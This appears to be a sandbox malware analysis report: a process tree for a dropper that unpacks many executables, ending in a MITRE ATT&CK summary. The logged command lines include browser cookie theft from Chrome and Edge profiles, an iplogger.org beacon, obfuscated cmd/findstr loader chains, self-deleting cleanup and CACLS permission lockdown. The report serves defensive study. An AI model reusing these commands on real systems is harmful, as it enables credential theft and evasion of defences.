PID 4016 wrote to memory of 2644	4016	sonia_4.exe	LzmwAqmV.exe
PID 4016 wrote to memory of 2644	4016	sonia_4.exe	LzmwAqmV.exe
PID 4016 wrote to memory of 2644	4016	sonia_4.exe	LzmwAqmV.exe
PID 8 wrote to memory of 3288	8	rUNdlL32.eXe	rundll32.exe
PID 8 wrote to memory of 3288	8	rUNdlL32.eXe	rundll32.exe
PID 8 wrote to memory of 3288	8	rUNdlL32.eXe	rundll32.exe
PID 3288 wrote to memory of 3164	3288	rundll32.exe	svchost.exe
PID 2644 wrote to memory of 2892	2644	LzmwAqmV.exe	jhuuee.exe
PID 2644 wrote to memory of 2892	2644	LzmwAqmV.exe	jhuuee.exe
PID 2644 wrote to memory of 2892	2644	LzmwAqmV.exe	jhuuee.exe
PID 3164 wrote to memory of 3520	3164	svchost.exe	svchost.exe
PID 3164 wrote to memory of 3520	3164	svchost.exe	svchost.exe
PID 3288 wrote to memory of 2560	3288	rundll32.exe	svchost.exe
PID 3164 wrote to memory of 3520	3164	svchost.exe	svchost.exe

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s gpsvc
1⤵
PID:296

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s UserManager
1⤵
PID:1228

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Themes
1⤵
- Modifies registry class
PID:1304

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Winmgmt
1⤵
PID:2676

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s WpnService
1⤵
PID:2688

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Browser
1⤵
PID:2560

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s IKEEXT
1⤵
PID:2364

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s LanmanServer
1⤵
PID:2340

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s ShellHWDetection
1⤵
PID:1916

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s SENS
1⤵
PID:1448

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s ProfSvc
1⤵
PID:1108

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Schedule
1⤵
- Drops file in System32 directory
PID:908

C:\Users\Admin\AppData\Roaming\gwfbtrr
C:\Users\Admin\AppData\Roaming\gwfbtrr
2⤵
- Executes dropped EXE
PID:5960

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 5960 -s 480
3⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Program crash
PID:3988

C:\Users\Admin\AppData\Local\Temp\8 (14).exe
"C:\Users\Admin\AppData\Local\Temp\8 (14).exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:512

C:\Users\Admin\AppData\Local\Temp\setup_installer.exe
"C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"
2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:2444

C:\Users\Admin\AppData\Local\Temp\7zSC89F6564\setup_install.exe
"C:\Users\Admin\AppData\Local\Temp\7zSC89F6564\setup_install.exe"
3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:3424

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c sonia_2.exe
4⤵
- Suspicious use of WriteProcessMemory
PID:3284

C:\Users\Admin\AppData\Local\Temp\7zSC89F6564\sonia_2.exe
sonia_2.exe
5⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
PID:3200

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c sonia_3.exe
4⤵
- Suspicious use of WriteProcessMemory
PID:3296

C:\Users\Admin\AppData\Local\Temp\7zSC89F6564\sonia_3.exe
sonia_3.exe
5⤵
- Executes dropped EXE
PID:2260

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2260 -s 1148
6⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Program crash
PID:2844

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c sonia_5.exe
4⤵
- Suspicious use of WriteProcessMemory
PID:3920

C:\Users\Admin\AppData\Local\Temp\7zSC89F6564\sonia_5.exe
sonia_5.exe
5⤵
- Executes dropped EXE
- Checks computer location settings
PID:3808

C:\Users\Admin\Documents\2JQqbPdiKsiWnxpeNbpUpi6B.exe
"C:\Users\Admin\Documents\2JQqbPdiKsiWnxpeNbpUpi6B.exe"
6⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Modifies system certificate store
PID:4864

C:\Users\Admin\AppData\Roaming\1234.exe
C:\Users\Admin\AppData\Roaming\1234.exe 1234
7⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:4448

C:\Users\Admin\AppData\Roaming\1234.exe
"{path}"
8⤵
PID:4204

C:\Users\Admin\Documents\WveFCi94r9JOaSXp07c0BHWc.exe
"C:\Users\Admin\Documents\WveFCi94r9JOaSXp07c0BHWc.exe"
6⤵
- Executes dropped EXE
- Drops file in Program Files directory
PID:4856

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\EverestSoftrade\TonerRecover\log.bat" "
7⤵
PID:2516

C:\Windows\SysWOW64\explorer.exe
explorer https://iplogger.org/2LBCU6
8⤵
PID:4284

C:\Windows\SysWOW64\regedit.exe
regedit /s adj.reg
8⤵
- Runs .reg file with regedit
PID:60

C:\Windows\SysWOW64\regedit.exe
regedit /s adj2.reg
8⤵
- Runs .reg file with regedit
PID:5236

C:\Program Files (x86)\EverestSoftrade\TonerRecover\Updater.exe
"C:\Program Files (x86)\EverestSoftrade\TonerRecover\Updater.exe"
7⤵
- Executes dropped EXE
PID:4836

C:\Users\Admin\Documents\1tQzQHEdup40DF14dQuIeBQe.exe
"C:\Users\Admin\Documents\1tQzQHEdup40DF14dQuIeBQe.exe"
6⤵
PID:4840

C:\Users\Admin\Documents\1tQzQHEdup40DF14dQuIeBQe.exe
"C:\Users\Admin\Documents\1tQzQHEdup40DF14dQuIeBQe.exe"
7⤵
- Executes dropped EXE
- Loads dropped DLL
PID:5080

C:\Windows\SysWOW64\cmd.exe
cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\Documents\1tQzQHEdup40DF14dQuIeBQe.exe"
8⤵
PID:5996

C:\Windows\SysWOW64\timeout.exe
timeout /T 10 /NOBREAK
9⤵
- Delays execution with timeout.exe
PID:5280

C:\Users\Admin\Documents\fmAfvp5vWc7kh4p5b2aglLth.exe
"C:\Users\Admin\Documents\fmAfvp5vWc7kh4p5b2aglLth.exe"
6⤵
- Executes dropped EXE
PID:4848

C:\Users\Admin\AppData\Local\Temp\11111.exe
C:\Users\Admin\AppData\Local\Temp\11111.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
7⤵
- Executes dropped EXE
PID:5544

C:\Users\Admin\AppData\Local\Temp\11111.exe
C:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Profile 2\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
7⤵
- Executes dropped EXE
PID:6104

C:\Users\Admin\AppData\Local\Temp\22222.exe
C:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
7⤵
- Executes dropped EXE
PID:5484

C:\Users\Admin\AppData\Local\Temp\22222.exe
C:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Profile 1\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
7⤵
- Executes dropped EXE
PID:4652

C:\Users\Admin\Documents\U7qRRjOLKXDP0BXEmnW4Za6w.exe
"C:\Users\Admin\Documents\U7qRRjOLKXDP0BXEmnW4Za6w.exe"
6⤵
- Executes dropped EXE
PID:4828

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c cmd < Sorrisi.tmp
7⤵
- Executes dropped EXE
PID:4904

C:\Windows\SysWOW64\cmd.exe
cmd
8⤵
PID:2348

C:\Windows\SysWOW64\findstr.exe
findstr /V /R "^yNFefWPitqXbQXexaaaweTJMeyyzoIKOZcrabptodYbHejNKUaJtRjoktSZpRcZcdpbxUJWpgpLtcwKPaxnPYFWNhRgFpV$" Sapete.tmp
9⤵
PID:4996

C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.com
Acre.exe.com k
9⤵
- Executes dropped EXE
PID:5864

C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.com
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.com k
10⤵
- Executes dropped EXE
PID:6100

C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.com
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.com k
11⤵
- Executes dropped EXE
PID:5452

C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.com
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.com k
12⤵
- Executes dropped EXE
- Drops startup file
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
PID:5636

C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\RegAsm.exe
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\RegAsm.exe
13⤵
PID:5456

C:\Windows\SysWOW64\PING.EXE
ping 127.0.0.1 -n 30
9⤵
- Runs ping.exe
PID:6088

C:\Users\Admin\Documents\12wFZGhHx1OAswK069X_ceNe.exe
"C:\Users\Admin\Documents\12wFZGhHx1OAswK069X_ceNe.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:4816

C:\Users\Admin\Documents\12wFZGhHx1OAswK069X_ceNe.exe
C:\Users\Admin\Documents\12wFZGhHx1OAswK069X_ceNe.exe
7⤵
- Executes dropped EXE
PID:4272

C:\Users\Admin\Documents\12wFZGhHx1OAswK069X_ceNe.exe
C:\Users\Admin\Documents\12wFZGhHx1OAswK069X_ceNe.exe
7⤵
- Executes dropped EXE
PID:4712

C:\Users\Admin\Documents\YmmIcYGJXw_L6Pt5b05l94oM.exe
"C:\Users\Admin\Documents\YmmIcYGJXw_L6Pt5b05l94oM.exe"
6⤵
- Executes dropped EXE
PID:4804

C:\Users\Admin\Documents\VwuxBbZB5D6pQWggm4OgFeP3.exe
"C:\Users\Admin\Documents\VwuxBbZB5D6pQWggm4OgFeP3.exe"
6⤵
- Executes dropped EXE
PID:4936

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c cmd < Bagnava.xltm
7⤵
PID:4560

C:\Windows\SysWOW64\cmd.exe
cmd
8⤵
PID:3512

C:\Windows\SysWOW64\findstr.exe
findstr /V /R "^IPAFDLOJiKVQTxFiLgMiLlaMrCAuVnAKdUxdXbtsjyJWSQEpztbDlGmbvNCwlINIlkmYZfphlcUGAvUjYsMQqXmJxXUpUru$" Sia.xltm
9⤵
PID:3572

C:\Users\Admin\AppData\Local\Temp\7ZipSfx.001\Sensitive.exe.com
Sensitive.exe.com p
9⤵
- Executes dropped EXE
PID:5980

C:\Users\Admin\AppData\Local\Temp\7ZipSfx.001\Sensitive.exe.com
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.001\Sensitive.exe.com p
10⤵
- Executes dropped EXE
- Drops startup file
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
PID:2660

C:\Users\Admin\AppData\Local\Temp\7ZipSfx.001\RegAsm.exe
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.001\RegAsm.exe
11⤵
PID:5784

C:\Windows\SysWOW64\PING.EXE
ping 127.0.0.1 -n 30
9⤵
- Runs ping.exe
PID:5124

C:\Users\Admin\Documents\smNF9eMnygKNLJQIYGK5KL6w.exe
"C:\Users\Admin\Documents\smNF9eMnygKNLJQIYGK5KL6w.exe"
6⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4888

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c taskkill /f /im chrome.exe
7⤵
PID:5716

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im chrome.exe
8⤵
- Kills process with taskkill
PID:5228

C:\Users\Admin\Documents\5y8reqtl_Jdwa0x9_Fcadh8S.exe
"C:\Users\Admin\Documents\5y8reqtl_Jdwa0x9_Fcadh8S.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:4088

C:\Users\Admin\Documents\5y8reqtl_Jdwa0x9_Fcadh8S.exe
"C:\Users\Admin\Documents\5y8reqtl_Jdwa0x9_Fcadh8S.exe"
7⤵
- Executes dropped EXE
- Checks processor information in registry
PID:5672

C:\Users\Admin\Documents\dY7FLWbosvDwmQzvHmeUKYeq.exe
"C:\Users\Admin\Documents\dY7FLWbosvDwmQzvHmeUKYeq.exe"
6⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
PID:4360

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c taskkill /im dY7FLWbosvDwmQzvHmeUKYeq.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\Documents\dY7FLWbosvDwmQzvHmeUKYeq.exe" & del C:\ProgramData\*.dll & exit
7⤵
PID:2656

C:\Windows\SysWOW64\taskkill.exe
taskkill /im dY7FLWbosvDwmQzvHmeUKYeq.exe /f
8⤵
- Kills process with taskkill
PID:4484

C:\Windows\SysWOW64\timeout.exe
timeout /t 6
8⤵
- Delays execution with timeout.exe
PID:5512

C:\Users\Admin\Documents\pQNLur0kwnP3xdTnz626ev0W.exe
"C:\Users\Admin\Documents\pQNLur0kwnP3xdTnz626ev0W.exe"
6⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1096

C:\Users\Admin\Documents\pQNLur0kwnP3xdTnz626ev0W.exe
"C:\Users\Admin\Documents\pQNLur0kwnP3xdTnz626ev0W.exe" -a
7⤵
- Executes dropped EXE
PID:5292

C:\Users\Admin\Documents\j8AbzZIFKuaJ9HxPdpBwI_ce.exe
"C:\Users\Admin\Documents\j8AbzZIFKuaJ9HxPdpBwI_ce.exe"
6⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:4512

C:\Users\Admin\Documents\8ZAwiBwEvFIIEgkT2khm7Fny.exe
"C:\Users\Admin\Documents\8ZAwiBwEvFIIEgkT2khm7Fny.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:2200

C:\Users\Admin\Documents\8ZAwiBwEvFIIEgkT2khm7Fny.exe
C:\Users\Admin\Documents\8ZAwiBwEvFIIEgkT2khm7Fny.exe
7⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:3492

C:\Users\Admin\Documents\CXkkqv8f1evqIc6daCu9kBDs.exe
"C:\Users\Admin\Documents\CXkkqv8f1evqIc6daCu9kBDs.exe"
6⤵
- Executes dropped EXE
- Checks whether UAC is enabled
PID:4720

C:\Users\Admin\Documents\r538gC39_0yqpKNkgZ6Wif4D.exe
"C:\Users\Admin\Documents\r538gC39_0yqpKNkgZ6Wif4D.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:2464

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
7⤵
- Executes dropped EXE
PID:2624

C:\Users\Admin\Documents\r538gC39_0yqpKNkgZ6Wif4D.exe
C:\Users\Admin\Documents\r538gC39_0yqpKNkgZ6Wif4D.exe
7⤵
- Executes dropped EXE
PID:5220

C:\Users\Admin\Documents\3pOTyJJlrZDOGokXzRM1qnhB.exe
"C:\Users\Admin\Documents\3pOTyJJlrZDOGokXzRM1qnhB.exe"
6⤵
- Executes dropped EXE
PID:4812

C:\Users\Admin\Documents\3pOTyJJlrZDOGokXzRM1qnhB.exe
"C:\Users\Admin\Documents\3pOTyJJlrZDOGokXzRM1qnhB.exe"
7⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
PID:6024

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4812 -s 764
7⤵
- Program crash
PID:5284

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c sonia_7.exe
4⤵
PID:2068

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c sonia_6.exe
4⤵
- Suspicious use of WriteProcessMemory
PID:1340

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c sonia_4.exe
4⤵
- Suspicious use of WriteProcessMemory
PID:64

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c sonia_1.exe
4⤵
PID:3492

\??\c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s BITS
1⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3164

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k SystemNetworkService
2⤵
- Drops file in System32 directory
- Checks processor information in registry
- Modifies data under HKEY_USERS
- Modifies registry class
PID:3520

C:\Users\Admin\AppData\Local\Temp\7zSC89F6564\sonia_1.exe
sonia_1.exe
1⤵
- Executes dropped EXE
PID:1096

C:\Users\Admin\AppData\Local\Temp\7zSC89F6564\sonia_1.exe
"C:\Users\Admin\AppData\Local\Temp\7zSC89F6564\sonia_1.exe" -a
2⤵
- Executes dropped EXE
PID:3832

C:\Users\Admin\AppData\Local\Temp\7zSC89F6564\sonia_6.exe
sonia_6.exe
1⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:2388

C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
2⤵
- Executes dropped EXE
PID:2064

C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
2⤵
PID:2624

C:\Users\Admin\AppData\Local\Temp\7zSC89F6564\sonia_4.exe
sonia_4.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4016

C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
"C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:2644

C:\Users\Admin\AppData\Local\Temp\jhuuee.exe
"C:\Users\Admin\AppData\Local\Temp\jhuuee.exe"
3⤵
- Executes dropped EXE
PID:2892

C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
4⤵
PID:4904

C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
4⤵
- Executes dropped EXE
PID:5012

C:\Users\Admin\AppData\Local\Temp\OLKbrowser.exe
"C:\Users\Admin\AppData\Local\Temp\OLKbrowser.exe"
3⤵
- Suspicious use of WriteProcessMemory
PID:3492

C:\Users\Admin\AppData\Local\Temp\OLKbrowser.exe
C:\Users\Admin\AppData\Local\Temp\OLKbrowser.exe
4⤵
- Executes dropped EXE
PID:1704

C:\Users\Admin\AppData\Local\Temp\setup 326.exe
"C:\Users\Admin\AppData\Local\Temp\setup 326.exe"
3⤵
- Executes dropped EXE
- Drops file in Windows directory
PID:4140

C:\Windows\winnetdriv.exe
"C:\Users\Admin\AppData\Local\Temp\setup 326.exe" 1626812279 0
4⤵
- Executes dropped EXE
PID:4420

C:\Users\Admin\AppData\Local\Temp\zhangd.exe
"C:\Users\Admin\AppData\Local\Temp\zhangd.exe"
3⤵
- Executes dropped EXE
PID:4340

C:\Users\Admin\AppData\Local\Temp\zhangd.exe
"C:\Users\Admin\AppData\Local\Temp\zhangd.exe" -a
4⤵
- Executes dropped EXE
PID:1980

C:\Users\Admin\AppData\Local\Temp\Chrome Update.exe
"C:\Users\Admin\AppData\Local\Temp\Chrome Update.exe"
3⤵
- Executes dropped EXE
PID:4600

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 4600 -s 996
4⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Program crash
PID:4840

C:\Users\Admin\AppData\Local\Temp\setup.exe
"C:\Users\Admin\AppData\Local\Temp\setup.exe"
3⤵
- Executes dropped EXE
PID:4228

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4228 -s 776
4⤵
- Drops file in Windows directory
- Program crash
PID:4608

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4228 -s 804
4⤵
- Program crash
PID:4112

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4228 -s 892
4⤵
- Program crash
PID:4588

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4228 -s 860
4⤵
- Program crash
PID:5232

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4228 -s 900
4⤵
- Program crash
PID:5500

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4228 -s 916
4⤵
- Program crash
PID:5732

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4228 -s 996
4⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Program crash
PID:2184

C:\Windows\system32\rUNdlL32.eXe
rUNdlL32.eXe "C:\Users\Admin\AppData\Local\Temp\axhub.dll",main
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:8

C:\Windows\SysWOW64\rundll32.exe
rUNdlL32.eXe "C:\Users\Admin\AppData\Local\Temp\axhub.dll",main
2⤵
- Loads dropped DLL
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3288

C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
1⤵
PID:3912

C:\Windows\system32\rUNdlL32.eXe
rUNdlL32.eXe "C:\Users\Admin\AppData\Local\Temp\axhub.dll",main
1⤵
- Process spawned unexpected child process
PID:3940

C:\Windows\SysWOW64\rundll32.exe
rUNdlL32.eXe "C:\Users\Admin\AppData\Local\Temp\axhub.dll",main
2⤵
- Loads dropped DLL
- Modifies registry class
PID:4780

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:6060

C:\Windows\system32\browser_broker.exe
C:\Windows\system32\browser_broker.exe -Embedding
1⤵
- Modifies Internet Explorer settings
PID:6140

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Modifies registry class
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:5900

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Modifies Internet Explorer settings
- Modifies registry class
PID:1776

C:\Windows\servicing\TrustedInstaller.exe
C:\Windows\servicing\TrustedInstaller.exe
1⤵
PID:5228

\??\c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s seclogon
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
PID:3920

C:\Users\Admin\AppData\Local\Temp\4051.exe
C:\Users\Admin\AppData\Local\Temp\4051.exe
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
PID:5172

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c taskkill /im 4051.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\4051.exe" & del C:\ProgramData\*.dll & exit
2⤵
PID:5828

C:\Windows\SysWOW64\taskkill.exe
taskkill /im 4051.exe /f
3⤵
- Kills process with taskkill
PID:4372

C:\Windows\SysWOW64\timeout.exe
timeout /t 6
3⤵
- Delays execution with timeout.exe
PID:5300

C:\Users\Admin\AppData\Local\Temp\7164.exe
C:\Users\Admin\AppData\Local\Temp\7164.exe
1⤵
- Executes dropped EXE
- Adds Run key to start application
PID:1476

C:\Windows\SysWOW64\cmd.exe
cmd /c echo Y|CACLS "C:\Users\Admin\AppData\Local\Temp\7164.exe" /P "Admin:N"
2⤵
PID:5316

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo Y"
3⤵
PID:3940

C:\Windows\SysWOW64\cacls.exe
CACLS "C:\Users\Admin\AppData\Local\Temp\7164.exe" /P "Admin:N"
3⤵
PID:5168

C:\Windows\SysWOW64\CACLS.exe
CACLS "C:\Users\Admin\AppData\Local\Temp\7164.exe" /P "Admin:R" /E
2⤵
PID:4588

C:\Windows\SysWOW64\cmd.exe
cmd /c echo Y|CACLS "C:\Users\Admin\AppData\Local\Temp" /P "Admin:N"
2⤵
PID:5212

C:\Windows\SysWOW64\cacls.exe
CACLS "C:\Users\Admin\AppData\Local\Temp" /P "Admin:N"
3⤵
PID:5720

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo Y"
3⤵
PID:5620

C:\Windows\SysWOW64\CACLS.exe
CACLS "C:\Users\Admin\AppData\Local\Temp" /P "Admin:R" /E
2⤵
PID:5876

C:\Users\Admin\AppData\Local\Temp\9190.exe
C:\Users\Admin\AppData\Local\Temp\9190.exe
1⤵
- Executes dropped EXE
PID:3380

C:\Users\Admin\AppData\Local\Temp\11111.exe
C:\Users\Admin\AppData\Local\Temp\11111.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
2⤵
PID:5976

C:\Users\Admin\AppData\Local\Temp\11111.exe
C:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Profile 2\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
2⤵
PID:4952

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Modify Existing Service

T1031

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

Disabling Security Tools

T1089

Virtualization/Sandbox Evasion

T1497

Install Root Certificate

T1130

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

Virtualization/Sandbox Evasion

T1497

System Information Discovery